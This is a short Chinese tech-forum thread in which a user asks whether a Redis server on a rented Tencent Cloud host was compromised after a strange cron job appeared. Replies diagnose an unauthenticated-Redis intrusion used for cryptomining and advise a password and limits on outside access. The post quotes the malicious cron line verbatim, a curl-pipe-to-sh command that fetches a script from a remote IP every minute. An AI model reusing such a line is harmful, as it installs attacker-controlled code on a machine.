租的腾讯云主机安装 redis 后没几天, 发现多了一条记录, 是不是被入侵了...
PickMio · 2017-07-06 17:03:32 +08:00 · 4422 次点击这是一个创建于 2729 天前的主题，其中的信息可能已经有所发展或是发生改变。
*/1 * * * * /usr/bin/curl -fsSL http://162.242.245.65:8220/test9.sh | sh
 |
1
weiweiwitch 2017-07-06 17:08:26 +08:00
redis 启用密码了吗，没有启用的话，很容易被入侵。
|
 |
2
killerv 2017-07-06 17:14:27 +08:00
redis 最好限制外网访问+启用认证
|
 |
3
expy 2017-07-06 17:14:46 +08:00
被挖矿了吧 233
|
 |
4
shakoon 2017-07-06 17:18:17 +08:00
是被入侵了，该机器被用作了挖矿的肉鸡
|
 |
6
PickMio OP @weiweiwitch #1 没设置...
 |
|
7
shakoon 2017-07-06 17:20:03 +08:00  1
|
 |
9
evlos 2017-07-06 17:47:36 +08:00 via iPhone
看一下那个人的挖矿账号累计挖到了 200 多 XMR，差不多一万多人民币
|
 |
10
Itanium 2017-07-06 17:56:01 +08:00
现在 CPU 挖矿效率很高吗？
|
 |
11
realpg 2017-07-06 18:23:30 +08:00 via Android
你一定是用了 centos
|
 |
12
msg7086 2017-07-07 02:30:42 +08:00
不要跟我说你 redis 给的权限能大到任意改写系统文件哦？
|
Select Language